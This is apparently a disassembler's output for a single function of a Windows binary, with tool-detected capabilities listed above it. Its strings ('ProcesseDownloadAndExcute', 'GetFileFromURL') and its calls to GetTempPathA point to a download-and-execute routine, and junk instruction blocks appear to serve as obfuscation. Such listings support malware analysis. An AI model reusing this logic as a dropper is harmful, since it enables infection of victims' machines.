Function at 0x10091767
Capabilities:
Authenticate hmac
Create process on windows
Encode data using base64
Encode data using xor
Get common file path

Disassembly:
pushfd
test byte [0x10091791], 0x53
jne 0x10091892
sbb al, 0xac
outsb dx, byte [esi]
xchg edi, eax
js 0x10091796
sbb ebp, dword [ebx]
pushfd
push edx
fsub dword [edx - 0x3098bae]
sub ebx, dword [esi + 0x52a2d852]
je 0x1009177a
cld
inc esp
mov eax, dword [0xdec7aca0]
movsb byte es:[edi], byte [esi]
mov ebp, 0xae1bc4a5
int3
dec edx
mov dword [esi + edx - 0x75], 0x4376dce9
xchg ecx, edi
mov esi, 0x2adcfae2
jl 0x100917aa
push ds
xchg byte [edi + 0x74], ah
mov al, byte [ecx]
push edi
fcomi st(0)
inc esi
mov esi, 0x7f1e6f26
jo 0x10091821
je 0x10091737
add dword [edi - 0x25], edx
invalid
sbb al, 0x31
pop ss
lodsd eax, dword [esi]
add dword [edx], 0x7f427fae
adc dword [ecx - 0x1820ef62], ebx
fidiv word [edi + 0x6f]
add ch, byte [esi + 0x117f427f]
cdq
sahf
adc bh, bl
out 0xde, eax
ja 0x1009183b
aam 0xa5
pop ebp
pop ebx
pop es
stosd dword es:[edi], eax
pop ebp
mov esi, dword [eax]
pop eax
or byte [eax + 0x3dc55a04], cl
sbb al, 0xe0
sub byte [ebp - 0x6a], cl
sbb cl, byte [edx + edx*2 - 0x5a]
mov edi, 0xac55b61c
fcomp qword [eax]
mov fs, word [esi]
push cs
add ah, byte [edi - 0x62397e7e]
test ah, al
les esi, [esi + 0x2bf0dead]
popfd
scasd eax, dword es:[edi]
or al, 0x25
and al, 0x87
cmpsb byte [esi], byte es:[edi]
dec esi
test eax, esp
cmp eax, 0x21c9814f
xchg edx, eax
cmovge ebp, dword [ecx + 0x53eb3e19]
imul ebx, dword [ebx - 0x7e25bcb4], 0xffffffe2
jge 0x1009187b
jmp 0x10091868
stosd dword es:[edi], eax
shr byte [edi + esi*2 - 0x169b8783], cl
mov edi, dword [ebx - 0x576a6a26]
cdq
sal dword [esi], 1
jnp 0x100917be
ja 0x100918a0
js 0x10091889
jmp 0xea2cd4b5
pop edi
push ebx
fld1
jl 0x100917e2
sbb byte [ebx + 0xd05c839], ch
add ebx, dword [esp + edi*8]
enter 0xd05, 3
sbb al, 0xfc
or byte [edi + 0xf884721], dh
xchg ecx, eax
test eax, 0xa26067a6
ja 0x1009185f
movsb byte es:[edi], byte [esi]
or eax, 0xbca798f4
pop ebp
dec edi
jnp 0x10091813
cwde
cmpsd dword [esi], dword es:[edi]
mov esp, 0xba7b4f5d
or ebx, ebx
mov ah, 0x79
inc edx
cmpsd dword [esi], dword es:[edi]
ficom word [eax + 0xa]
adc edi, dword [ebx + 0x782c54fc]
xchg esp, esi
daa
xchg esp, eax
mov ch, dl
cmp ah, byte [eax + 0x47534d81]
inc ebp
lea esi, [ebx]
call 0xe2c1bfca
dec edi
pop ebp
ror byte [edi + 0x5d], cl
lds ebx, [edi - 0x54]
adc byte [ebx - 0x5c1a4ed0], al
xor dword [eax], 0xffffffb1
in eax, 0xa3
push cs
jae 0x10091852
enter 0x40b1, 0x20
cwde
jno 0x10091882
mov cl, 0x40
and byte [eax - 0x70c0d8f], bl
clc
popfd
push 0x168
mov eax, 0x1014205f
call fcn.1011e502
or byte [eax], al
mov ebx, dword [ebp + 8]
pushfd
test byte [0x10091964], 0xc8
jne 0x10091965
mov al, 0xe2
dec esp
pop esi
push ss
xchg ebp, eax
sbb bh, cl
aam 0xbd
test al, 0x61
jmp dword [ebp + 0x262ea7eb]
popfd
push str.Entering_CHYNODE::ProcesseDownloadAndExcute.....
xor edi, edi
push edi
push 3
pushfd
test byte [0x10091a68], 0x86
jne 0x10091a69
sub byte [ecx - 0x68db47e2], cl
push ebx
cmp esi, dword [ebp + 0x2b8efb61]
inc edx
lds edi, [edi + ecx + 0x3dd6ff07]
push ds
test dword [edx - 0x28010618], eax
out 0x56, al
inc esi
scasd eax, dword es:[edi]
adc ah, dh
dec ecx
int3
retf 0x899d
popfd
mov dword [ebp - 0x170], ecx
pushfd
test byte [0x10091b0c], 0x20
je 0x10091b0d
or edx, edx
out 0xdd, al
mov dword [edi], esi
cld
mov al, 0xb7
cmpsb byte [esi], byte es:[edi]
xchg byte [edx + 0x3cf475c0], dl
test al, 0x5b
cmp eax, 0x54f96388
xor ecx, eax
sub dword [ebx], 0x27857748
sbb dword [edi + 0x3a], esi
out 0xd, eax
sub bh, byte [edx + 0x6b]
mov cl, 0xe0
int3
call [eax + 0x5c]
stc
push esi
mov ch, 0x26
cdq
cwde
sti
je 0x10091b4d
mov bl, 0xe4
pop esp
pop esi
sti
loopne 0x10091a68
enter 0x311d, 0x62
or edx, edi
xor edx, esp
call [edi]
pop ss
or dword [ecx - 0x8398ceb], ebp
mov esp, 0xfb48467f
fstp xword [edx]
xor al, 0x21
enter 0x5475, 0xffffffffffffffb5
and dword [eax + ecx*8 + 0x70], 0x286cc84b
call 0x92a06c3b
cmp ch, byte [edx]
mov ch, 0x81
enter 0x4b70, 0xffffffffffffffc8
insb byte es:[edi], dx
sub al, ch
dec ebx
enter 0x286c, 0xffffffffffffffe8
push ecx
xchg edi, eax
cmp byte [edx], 0x2a
cdq
jne 0x10091b58
xchg ebp, eax
mov cl, al
popfd
mov dword [ebp - 0x174], ebx
call fcn.10049c0c
add esp, 0xc
push 0x10146825
pushfd
test byte [0x10091bc8], 0x2b
jne 0x10091bc9
scasd eax, dword es:[edi]
popal
inc eax
mov es, word [eax]
dec esp
sub esp, edi
add byte [ebx + ebp - 0x19], cl
jb 0x10091b54
sbb dword [ebx - 0x4f926fdd], esp
push ecx
jle 0x10091ac7
fimul word [ebx]
cmp bh, al
dec edx
std
or eax, 0xc7a26277
je 0x10091afc
mov eax, 0xd19ac01d
xor eax, 0xa9442c8d
jae 0x10091bbd
inc esp
test eax, 0xea026273
add ch, dl
xchg ebp, eax
out 0x6c, eax
mov ecx, 0x6be5af2c
and al, al
push ebp
or edx, eax
pop edx
inc esi
loopne 0x10091af7
ror byte [edx - 0x4f], 1
pop esp
jne 0x10091be3
sub dl, dl
add edi, dword [ebx + 0x2a9d6840]
sbb al, 0x32
rol dword [edi], 0x5a
mov dword [edi + 0x377eeceb], 0xc8a3aaee
adc dword [edx], 0xc
or byte [edx + 0x47], 0x40
pushal
sub bl, byte [esi - 0x27]
sbb cl, byte [eax - 0x78]
stosb byte es:[edi], al
inc edi
jnp 0x10091b33
jle 0x10091ba9
call 0x66c93416
pop ebx
cli
div byte [ebx - 0x6e]
or dword [eax + edx*2 + 0x6c], esi
push ebp
test al, 0x73
lodsd eax, dword [esi]
mov edx, 0xf2f4a86
dec ax
and al, 0x9c
fstp qword [ebp + eax*2 - 0x37]
leave
xchg ecx, eax
out 0x6c, al
inc ecx
mov al, byte [0x6dc2e3ef]
loopne 0x10091b57
popfd
lea ecx, [ebp - 0x130]
call fcn.10005af6
lea esi, [ebx + 0x96]
push 0x3b
pushfd
test byte [0x10091c06], 0xd6
invalid
adc dh, dl
jne 0x10091d07
test dword [ecx + eax], ebx
add byte [eax], al
call dword [esi + ebp*2 - 0x1e]
xor byte [ebp + eax*2 - 0xf], dh
arpl word [0xe8589f3e], di
test al, 0xc0
imul ecx, dword [esi + edi*8 + 0x19], 0xffffffd4
out 0x1f, al
aam 0x18
xor byte [edx + 0x67cc154b], dh
inc ebx
jl 0x10091c5f
fcom qword [edi + 0x48595e3]
fcmovnbe st(0), st(1)
ja 0x10091bce
dec ebp
popfd
not byte [0x5bb7bce3]
div dword [esi + ebp*4 - 0x6c]
popal
call dword [edi - 4]
jb 0x10091c6e
movsb byte es:[edi], byte [esi]
ja 0x10091be6
clc
xchg esi, eax
fnstsw word [ecx + ecx*4]
push eax
imul eax, dword [ebp - 0x4aa15862], 0xffffffb3
push ss
int1
push ebx
inc edx
mov ebp, 0xff250147
xor al, 0x6d
sub bl, ch
mov ebx, 0xafc34891
sub al, 0xf2
lds eax, [edi + 0x611cf0bc]
or ecx, dword [ebp - 0x23d78807]
and bh, bl
inc ebp
mov al, byte [0xd15dd828]
sub al, bl
pop ebp
sal edi, 1
jge 0x10091ccc
fcomp dword [ebp - 0x2f]
idiv dword [ebp + 0x67]
push esi
mov bh, 0x53
adc al, 0x9e
xor eax, 0xb58b43fd
int1
mov ch, 0xf1
xchg dword [ecx], ebx
push ebx
add byte [ebx - 0x1c], ch
pushfd
jne 0x10091c5e
jae 0x10091c7e
cmp eax, 0x5ffee975
xchg edx, eax
xor ecx, dword [edi]
fadd st(6)
adc al, 0x5c
invalid
pop esp
mov al, 0xf8
add al, 0x6a
add al, 0xf4
xchg ebp, eax
sub ecx, esp
inc edx
cmp bh, byte [eax - 0x21]
push ecx
cmp cl, byte [eax*4 - 0x473a28e2]
stc
arpl word [edx + 8], bx
push ebp
int3
nop
and eax, 0x552550e
mov bl, 0xef
enter 0xffffffffffffd897, 0x1c
sal dword [ebp - 0x7c80c3e3], 1
js 0x10091c86
rcr dword [edx], 1
mov ecx, 0xab492ff6
aad 0xce
push esi
test byte [ecx + 0x67], dh
add ebx, dword [edi]
jo 0x10091c90
and ch, byte [ebp - 0x3aa79007]
clc
or eax, 0xb3c6b91e
fimul word [edi]
outsd dx, dword [esi]
xlatb
or dl, dl
jno 0x10091ca1
cdq
popfd
push esi
mov dword [ebp - 4], edi
call fcn.10121aa0
pop ecx
pop ecx
mov dword [ebp - 0x16c], eax
cmp eax, edi
je 0x10091eea
pushfd
test byte [0x10091d81], 0x4e
jne 0x10091e82
mov cl, 0x4a
inc ebx
outsb dx, byte [esi]
push 0x7300ac1a
sbb eax, 0x99e045d0
dec esp
loop 0x10091db5
insb byte es:[edi], dx
lds edx, [ebp - 1]
mov bh, 0xc4
sub bl, cl
sub al, 0x44
cmp cl, byte [esi + ebp + 0x4757972f]
lodsd eax, dword [esi]
cmp eax, 0x4d904bd3
adc eax, 0xdef629b8
fisub dword [ebx - 0x10673a84]
jg 0x10091d95
stosd dword es:[edi], eax
adc bh, byte [ebp - 0x70a08f74]
ror al, 1
sub ebp, edi
xchg ebx, eax
test byte [ecx], ch
mov bh, byte [edi]
stosd dword es:[edi], eax
or esp, dword [edx - 0x25e4e782]
mov ebx, dword [eax + 0x5c253b07]
cmp byte [eax - 0x2d745739], ah
int1
popal
salc
in al, 0x70
imul ebp, esp, 0xb59e5dd7
rol byte [ecx + 0x23], 0x50
or bh, byte [esi - 0x78]
and edx, dword [eax + 0xa]
jle 0x10091d22
cmp dword [ecx + ecx*2 - 0x733f027a], 0xf918b2cd
in al, dx
add dword [ebx + 0x52], edx
xlatb
fcmovu st(0), st(3)
dec ebp
das
fisttp dword [ebp + 0x2f]
out dx, eax
xchg ebp, eax
or byte [ebx + 0x35], dl
cld
ja 0x10091e02
dec esp
jg 0x10091e35
fld st(1)
sub al, 0x33
loop 0x10091dab
pushfd
mov ch, 0x14
xchg ebx, eax
out dx, eax
imul ecx, edi, 0x5937eb5e
cwde
jns 0x10091e16
cmp dword [edx + 0x397d4007], ebp
mov word [edx + 0xfa6863f], fs
and dword [esi + 7], 0xffffffd2
xor dword [eax], edx
and eax, 0x98fa62ef
push 3
sar dword [ebx + 0x5ecd5d9f], 1
invalid
add al, 0xe
push cs
fmul dword [eax]
or eax, 0xeca7454c
mov ecx, 0x3d78650b
pop ss
or al, 0xf8
sbb eax, 0xc973b2b0
mov dl, 0x73
leave
mov esi, 0xf50d7400
in eax, dx
call 0xb2ae650e
push ebp
nop
sar ch, cl
cmova ecx, ebp
xor ah, byte [edi + edx*2]
in eax, 0x8a
xchg byte [ebx + edi*2 - 0x51], dh
pop ds
stosd dword es:[edi], eax
pop ds
pop ebp
ror dh, 0xb3
inc ebx
and dl, byte [esi - 0x475957d7]
cmp byte [ebp + esi + 0x4f], ch
adc al, 0xb4
pop ebx
lahf
test eax, 0xfa08bf6f
cmp esp, eax
push ebp
add dh, ah
cwde
scasb al, byte es:[edi]
adc al, 0x17
push ecx
stc
out dx, al
shr dword [eax - 0x14], 0xe8
adc cl, byte [esi + 0x49]
fidiv word [ebx + ebx*4 - 0x59e8a788]
pop eax
cmp eax, 0xca674eb2
xor byte [ebp + 0x46], ch
stosd dword es:[edi], eax
push esp
insd dword es:[edi], dx
loop 0x10091ed0
add byte [ebx + 0x5c07c2e], ch
into
popal
aad 0x4d
rol byte [0x4dd561ce], 0x9d
popfd
mov byte [eax], 0
inc eax
pushfd
test byte [0x10091ee2], 0x23
jne 0x10091ee3
push es
loopne 0x10091eff
out dx, al
test eax, 0xa7d9f3f7
add al, byte [esp + edi*4 + 0x4e557e9e]
movsb byte es:[edi], byte [esi]
sbb ecx, dword [ebp + 0x2d30a77d]
and al, 0x6b
mov ah, 0x3c
in al, 0x81
insd dword es:[edi], dx
jns 0x10091e7c
inc ebx
cmp dh, bh
mov ah, dh
scasb al, byte es:[edi]
pop eax
sbb eax, 0xbc60e289
push cs
idiv dword [edi + 0xb86d062]
inc edi
cmpsd dword [esi], dword es:[edi]
and eax, 0x97b44c90
pop eax
xchg ebp, eax
xlatb
bts dword [ecx], edx
outsd dx, dword [esi]
mov edi, 0xef14c495
stosd dword es:[edi], eax
adc dword [edi - 0x41], ebp
xchg ebp, eax
les edx, [edi + ebp*8]
or esp, ebp
adc bl, byte [ebp + 0xdbcf736]
adc byte [edx + 0x19], ah
popfd
mov dword [ebp - 0x16c], eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsURLA]
cmp eax, 1
jne 0x10092a49
push 0x103
lea eax, [ebp - 0x113]
push edi
push eax
pushfd
test byte [0x10091fb1], 0xd1
jne 0x10091fb2
sub bh, bh
and eax, 0xc0b4e44e
xchg edi, eax
std
pop es
out dx, al
fnstenv [ecx + 0x4a]
adc dword [edx], ecx
neg bl
mov ah, byte [ecx - 0x234fbf14]
jne 0x10091f6f
inc eax
fiadd word [esi]
add cl, 0xf
xor byte [ecx + 0x3f05353f], 0x2c
nop
lea ebx, [ebx - 0x499cd772]
inc dword [esi + ecx*2]
adc bl, byte [edx]
mov al, byte [ebx - 0x5e]
push es
push cs
popfd
lahf
and dword [edx], esp
cmp bl, byte [ebp - 0x433944b4]
mov esp, dword [ebp - 0x35b8fc67]
xchg dword [esi], edx
mov bh, 0xcd
pop ds
cmp al, 0x7a
xchg edi, eax
insb byte es:[edi], dx
inc ebp
and ecx, esp
add al, 0xd1
out 0x32, eax
jecxz 0x10091f2e
pushfd
cmp eax, 0xcb252293
test al, 0xc
or byte [0xe197144], dl
popfd
cmp eax, 0xabe286d1
mov ch, 0x4a
das
mov edx, 0x883124a5
push cs
lodsb al, byte [esi]
cmp eax, 0xb6110db7
aaa
lea ebp, [ebp + esi*8 - 0x3170c40f]
imul ebp, dword [ebp + edi*2 + 0x1baa077c], 0xd307636b
div dword [edx]
daa
cmp eax, esi
xchg ebx, eax
dec esp
sub dword [edi + 0x462dd612], esi
popfd
mov byte [ebp - 0x114], 0
call fcn.1011df60
add esp, 0xc
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov ebx, eax
cmp ebx, edi
je 0x10092346
push 0x3f
push ebx
call fcn.1011e8e9
pop ecx
pop ecx
test eax, eax
jne 0x10092346
push 0x3d
push ebx
call fcn.1011e8e9
pushfd
test byte [0x1009203f], 0xc2
jne 0x10092140
or byte [ecx - 0x2720d0b1], al
push cs
and al, byte [eax + 0x415d354d]
pop esp
push 0x2125d2d9
sbb eax, 0x1713d3e8
dec ebp
bound ecx, qword [edx]
stosd dword es:[edi], eax
mov edx, 0x63d8da78
bound esi, qword [eax - 0x79aa6c46]
add eax, 0x6077dce0
pushfd
aad 0x94
aas
sub esp, dword [esi + 0x1cad736a]
test dword [ebx - 0x6ed249e3], ebx
add dword [edi - 3], esp
clc
mov cl, 0xd9
sub al, 0x4e
int3
popfd
pop ecx
pop ecx
test eax, eax
jne 0x10092346
lea eax, [ebp - 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea eax, [ebp - 0x114]
push eax
call fcn.1011d740
pop ecx
push eax
lea eax, [ebp - 0x114]
pushfd
test byte [0x10092218], 0xf8
jne 0x10092219
xchg ecx, eax
inc ecx
pop esp
mov eax, 0x743236e4
into
cmp dword [ecx - 0x26], 0xe7e2c263
int3
cli
cmp al, 0x6b
int 0xf3
dec ebx
add dword [edi + 0x52b9bb], esi
cmp dword [esi - 0xd], ebp
dec ebx
lds edx, [ebx + 0x3a6eaf84]
movsb byte es:[edi], byte [esi]
clc
popfd
push eax
lea ecx, [ebp - 0x130]
call fcn.10005303
push ebx
pushfd
test byte [0x10092331], 0x83
jne 0x10092332
adc byte [ebx + eax - 0x4a], ch
or ebp, dword [esi - 0x18]
jo 0x10092201
test dword [ebx + edx], esi
out 0x66, al
imul esp, dword [esi], 0x18
mov dword [eax + 0x66e9d756], esp
insb byte es:[edi], dx
in al, dx
mov bh, 0x7f
push edi
adc esp, edx
movsb byte es:[edi], byte [esi]
xor word [esi - 0x1b149aba], bx
and al, 0x84
add byte [edx], bl
xor dword [eax + esi*8 + 0x6979afb0], esp
lds ecx, [edi + 0x7c]
or eax, 0x72df41e5
dec edi
jl 0x10092277
in eax, 0x41
fbstp tbyte [edx - 4]
cld
leave
adc ecx, dword [edx - 0x40]
inc ebp
dec esi
xchg dword [edi - 0x2f94db59], edx
mov ss, word [edx + 0x42]
sbb eax, 0xd73745ed
xchg edi, eax
cmpsd dword [esi], dword es:[edi]
and al, 0x6b
ror byte [esi - 0x12e2bdae], 1
inc ebp
aaa
xlatb
adc ebp, eax
das
sub edx, esp
fcomp qword [edi - 0x2556b33f]
push es
jb 0x10092267
jg 0x1009226e
push ebx
rol ch, 0xb4
insb byte es:[edi], dx
rcr byte [edi - 0x10978f48], 0x2e
fcompi st(5)
pop ecx
push 0xfd9fe9c8
mov bl, 0x99
pop ecx
mov ecx, 0xb9b7f4a8
aam 0xee
mov bh, 8
and edi, dword [ebx - 0x24]
inc esi
add byte [edx - 0x19], ah
add al, 0xce
stc
cmp edi, dword [eax + eax - 6]
inc ebp
int3
popfd
call fcn.1011d740
pop ecx
push eax
push ebx
lea ecx, [ebp - 0x130]
call fcn.10069c89
push 0x101475f8
lea ecx, [ebp - 0x14c]
call fcn.10005af6
push esi
lea ecx, [ebp - 0x168]
mov byte [ebp - 4], 1
call fcn.10005af6
pushfd
test byte [0x10092417], 0xca
jne 0x10092418
mov bl, 0x33
inc ebp
or edi, dword [esi]
adc al, 0xb2
aaa
add dl, byte [edi]
daa
clc
sbb al, 0x14
fidiv word [0x578b0c19]
ror ch, 0x95
xchg ebp, eax
add ecx, 0xffffff94
mov dword [0x49ee04d2], eax
mov ebx, 0x7f1c8d55
cmp edi, dword [edi + 0x4e]
jecxz 0x1009238a
lds esp, [eax + 0x14]
dec esp
cmp al, 0x3e
inc ecx
sal edx, cl
imul edi, dword [0x3ee85d76], 0x639a1bc6
and byte [ebx - 7], ch
pushal
and eax, 0x94320c55
sbb eax, 0xc2af19bb
sub ebp, esp
dec ecx
lahf
pop esi
xchg esp, eax
aas
in al, 0x14
fild qword [esi]
push cs
idiv ebx
xchg ecx, eax
movsd dword es:[edi], dword [esi]
aas
push ds
std
mov dh, 0xbe
aam 0x11
out 0xdf, al
mov bh, byte [eax - 0x71dc27dd]
or cl, byte [ebx + 0x1dae2c65]
jl 0x100923a0
insd dword es:[edi], dx
das
sahf
push 0x6b
cmpsd dword [esi], dword es:[edi]
sbb al, dh
xchg ebx, eax
stc
or dword [eax + edx], esi
push 0xffffffffffffff93
xchg byte [ebp + 0x9c54798], bl
in eax, dx
fsub st(0), st(0)
mov byte [edi - 0x56aef7e0], cl
jne 0x100923ec
jle 0x10092464
mov bl, 0xcc
lodsd eax, dword [esi]
leave
adc edx, ecx
sbb al, byte [0xaaa33969]
popfd
mov ecx, dword [ebp - 0x170]
pushfd
test byte [0x1009246c], 0xa0
je 0x1009246d
daa
std
xchg byte [esi], ah
xor byte [eax + 0x37705605], ah
aad 0xc0
sub eax, 0x9f608dc6
xchg byte gs:[di + 0x1432], bl
sub eax, 0xffc6424e
popfd
xor dl, byte [esi + edi]
sub eax, 0xffc6424e
fcom dword [edx - 0x71]
dec esp
xchg esp, eax
fnstenv [esp + ebp*4]
mov ebx, 0xc8b4817a
push eax
fldcw word [edi]
and eax, 0xf9c1737a
dec edx
xchg ecx, eax
jmp [ebx]
pop esp
xchg edx, eax
sub esi, dword [ebx]
jl 0x1009243e
jg 0x100923f6
setge byte [ebp - 0x14b7b]
call dword [eax - 0x73]
test eax, edx
invalid
popfd
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x168]
push eax
pushfd
test byte [0x10092555], 0xad
jne 0x10092556
mov ebx, 0x15efb0f8
in al, 0x2a
push ebp
sbb byte [edi], al
cmpsd dword [esi], dword es:[edi]
repne cmpsb byte [esi], byte es:[edi]
add ch, byte [esi + 0x31]
add al, 0xa1
cmp eax, 0xcc5d01e3
mov eax, dword [0xdfef413d]
sal dword [edi + 0x67], cl
push 0xa023ed86
rcr dword [0xb2043fb1], 1
inc eax
sbb al, 7
push esi
cmpsb byte [esi], byte es:[edi]
sar dword [ecx - 0x1bafa6f7], 0x3b
push eax
cmpsb byte [esi], byte es:[edi]
push esi
sbb ebx, dword [eax - 8]
fnstsw word [0xd25b7c80]
sub al, 0x2b
mov ebx, dword [ebx - 0x54]
cwde
into
bound ebx, qword [eax - 0x174b7766]
outsb dx, byte [esi]
in eax, dx
adc bh, dl
and edx, dword [ebp + 0x45]
xchg ecx, eax
mov eax, 0xf7d62d69
mov ebx, 0xaca80a7
jns 0x10092550
pop eax
mov edx, 0x30037d06
pop esp
sbb ecx, 0x1fdbcd78
mov dword [0x38ed5432], eax
inc ebp
nop
dec edi
lodsd eax, dword [esi]
imul edi, dword [edi + eax*4 + 0x684c55d0], 0x1e
salc
jbe 0x10092570
cmpsd dword [esi], dword es:[edi]
cmpsb byte [esi], byte es:[edi]
mov edi, 0xf65d3695
mov edx, 0x1493ce2c
xchg ebp, eax
pop ebp
idiv byte [edx + 0x1493ce2c]
adc edi, dword [edi]
bound eax, qword [edx]
and ch, byte [esi + 0x109fa20d]
aas
sbb edx, dword [esi]
xchg ebx, eax
dec ebx
enter 0xffffffffffff9dbb, 0x31
and dword [ebx], ebx
push ecx
in eax, dx
cli
pop esp
mov ch, 0xc8
movsb byte es:[edi], byte [esi]
pop esi
les edx, [ebx + 0x33]
xchg ebx, eax
inc edi
push ebp
or byte [0xccc56a5a], bl
sub eax, 0x14302d3e
or eax, 0x210fa955
adc al, 0xd
push ebp
test eax, 0x819d210f
sar eax, 7
add byte [eax], al
popfd
add ecx, 0x7f8
pushfd
test byte [0x10092622], 0x78
jne 0x10092623
inc ecx
xchg eax, edx
jns 0x100925de
insd dword es:[edi], dx
jnp 0x10092519
stosd dword es:[edi], eax
adc byte [ebp - 0x7a], al
arpl word [ecx + 0x686652f3], si
and al, 0xcf
pop esi
bts dword [eax], ebp
xchg ecx, eax
cwde
xor byte [esi - 0x25], al
or eax, ebx
fnstcw word [ecx + 0x2491df19]
xor dword [edi + eax*4], eax
salc
nop
jns 0x10092531
jne 0x10092616
add al, 0x58
shr byte [eax], cl
cmp dword [bp + di + 0x2e99], ebx
add dword [edi + 0x286d72e0], eax
sahf
scasd eax, dword es:[edi]
fbstp tbyte [edx - 0x2cb2b215]
mov esp, 0x2101fcb8
std
cli
salc
fmul qword [0xb0e57259]
clc
sub esi, edx
mov esi, ecx
test al, 0x49
rol dword [ebx - 0x70], 0x80
mov edx, 0xea095e2b
loop 0x100925b8
outsb dx, byte [esi]
sbb dword [ebp + 0x583bdb49], esp
sub dword [esi + 0xa7460d1], 0x2733f4a0
xor edi, ebx
push eax
test al, 0x88
adc al, 0x12
mov al, byte [0x312733f4]
fist word [eax - 0x58]
mov byte [esp + edx + 0x12], ah
jl 0x10092606
sub eax, 0x2fa33c15
or edx, dword [edi]
outsb dx, byte [esi]
cmpsb byte [esi], byte es:[edi]
or dl, ah
jns 0x10092603
add dword [esp + eax*2 + 0x33f2c2f7], edi
mov dword [esi - 0x5bc350a3], esi
pop ebp
scasd eax, dword es:[edi]
cmp al, 0xa4
movsb byte es:[edi], byte [esi]
xchg ebp, eax
sub ebp, esp
in eax, 0x31
dec ch
push edx
movsd dword es:[edi], dword [esi]
mov eax, dword [0x932a8896]
bound eax, qword [ebp - 0x47952736]
test edx, ecx
fsubr dword [edx - 0x48]
je 0x1009262b
sub ch, bl
sal dword [esi + 0x70], 0xb7
popfd
mov byte [ebp - 4], 2
call fcn.10087e59
mov bl, al
push edi
pushfd
test byte [0x10092723], 0x19
jne 0x10092724
invalid
sub bl, byte [ebx + 0x47]
cmp al, 0x3d
cwde
push esi
test eax, 0xd6955d6
imul esi, dword [edi - 0x73220313], 0xc9f8f7f4
imul ecx, dword [0xfcedb769], 0xf7f48cdd
clc
leave
mov bh, 0xed
cld
fisttp qword [esp + esi*8 + 0x69c9f8f7]
inc edx
out dx, al
jl 0x1009265d
imul eax, dword [edx - 0x12], 0xe1b9037c
sbb byte [edi], ch
mov ecx, 0x4d2f18e1
das
dec ebp
int1
or eax, 0x7a051e51
xchg edx, eax
adc al, 0x36
adc al, 0xf
inc esp
clc
cmpsd dword [esi], dword es:[edi]
mov dword [eax - 0x129a5a98], eax
insd dword es:[edi], dx
cdq
dec eax
xchg edx, eax
sbb eax, 0x3942f09c
sal dword [edx], 0xa8
clc
in eax, dx
sbb byte [ebx], 0xca
out 0xcf, al
mov cl, 0xa5
mov cl, 0xdf
aad 0xf0
mov ebp, 0x5051348d
xchg esp, eax
lahf
dec edi
and byte [edi + esi*4 + 0x4075652a], ah
jo 0x1009264c
jno 0x10092649
push edx
sti
and ebp, ebx
xchg dword [ebx + 0x62], edx
sub al, 0x32
daa
jnp 0x10092668
mov esp, ebp
aaa
dec edi
mov cl, 0xc3
jg 0x100926d3
in al, dx
push es
add edi, dword [edx]
xchg dword [ecx - 0x13], eax
push ebx
lea ecx, [eax + 0x6e]
out 0xd2, al
clc
mov ah, 0x7b
test dword [ebp + 0x38], 0xa92cd829
fsubr dword [ecx + ebp*4]
xor eax, 0x3b813e85
mov ch, 0x59
mov edi, dword [edi]
in al, 3
int3
outsb dx, byte [esi]
xchg dh, dl
pop esi
mov ch, 0xa
insd dword es:[edi], dx
jecxz 0x100926c7
lodsb al, byte [esi]
pause
into
ja 0x10092734
push eax
scasd eax, dword es:[edi]
aad 0x3c
inc eax
je 0x10092775
out dx, al
imul ebx, dword [ebp - 0x30], 0xec34b219
sub dword [esi], esp
add dl, byte [edi]
in eax, dx
jne 0x10092703
mul byte [esi - 0x19efa37e]
imul byte [esi - 0x31]
jl 0x1009277b
popfd
neg bl
pushfd
test byte [0x100927cb], 0xe9
jne 0x100927cc
add dh, ch
out dx, al
mov edx, 0xd5927905
js 0x10092725
arpl word [ebp - 0x4b], dx
add al, byte [edi]
not dword [ebp + edi*4 + 0x3ba1ece2]
jo 0x100926f3
push ecx
test dword [eax - 0x1988cf9f], esp
out 0xbc, eax
and eax, 0x5dcdf8f2
jne 0x100927ab
cdq
dec edx
add dh, al
insb byte es:[edi], dx
mov eax, dword [0x9434cf8b]
mov bl, 0xae
arpl word [ecx + 0x3afc2d45], si
adc dword [esi + ecx*2 + 0x18aad361], ebp
xchg ecx, eax
or byte [ebp + 0x5d], ah
leave
lodsb al, byte [esi]
les ebp, [eax + 0x3ff9dc60]
test al, 0x60
fdiv st(1), st(0)
aas
cli
cmp al, 0xd1
push cs
inc edi
sbb dl, byte [esi]
test eax, 0xf9fd2bc2
pop eax
push esp
xor al, 0xfe
dec esi
mov cl, byte [eax + 0x114ced6d]
imul edx, eax, 0xffffffb1
fld qword [edx]
and edi, esp
int3
cmp bh, byte [edi + 0x4fb1ff66]
xchg ebx, eax
mov eax, dword [0xf6abac14]
cmp dword [ebx - 0x310d09c9], 0xffffffe4
aad 8
rcr dword [edi - 0x54], 1
push word [ecx + 0x14a1934f]
lodsb al, byte [esi]
stosd dword es:[edi], eax
test byte [ebx - 0xd09c845], 0xce
in al, 0xd5
or cl, dl
pop edi
lodsb al, byte [esi]
dec edi
inc edx
pop ebx
jns 0x100927ad
inc ecx
pop esi
in al, 0x25
popfd
push 1
lea ecx, [ebp - 0x168]
pushfd
test byte [0x100927e7], 0x33
jne 0x100927e8
xchg byte fs:[esi - 0x3935daed], bl
inc esi
xchg esi, eax
popfd
sbb bl, bl
call fcn.10002a9a
push edi
push 1
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 0
call fcn.10002a9a
inc bl
je 0x10092cd6
mov eax, dword [ebp - 0x170]
push dword [eax + 0x91c]
push esi
push str.ProcesseDownloadAndExcute::GetFileFromURL__s_Error:_d
pushfd
test byte [0x100928f6], 0xee
jne 0x100928f7
adc edx, dword [edx - 0x3a]
inc bp
add ch, bl
int3
popfd
push edi
pushfd
test byte [0x10092925], 0xcf
jne 0x10092a26
rcr dword [edi + 0xce19a56], cl
mov al, 0x1e
sal dword [esi - 0x35f25244], 0x36
dec eax
push ebx
sbb eax, 0xa78a0f0
out 0x3f, al
shl byte [edx - 0x11], cl
das
or al, 0x52
or edx, dword [edi + 0x637f75e0]
jg 0x10092998
leave
rcr esp, 0x83
inc edx
fsubr st(3)
xchg esp, eax
push 0x5d
in eax, dx
sub al, 0x23
push 0x467a78b2
fucompp
rcr byte [eax], cl
in eax, 0xb8
mov esp, 0x7657641c
cld
lahf
aas
sub edx, dword [edi - 0x78e9b04d]
fdivp st(1)
lahf
loop 0x1009295d
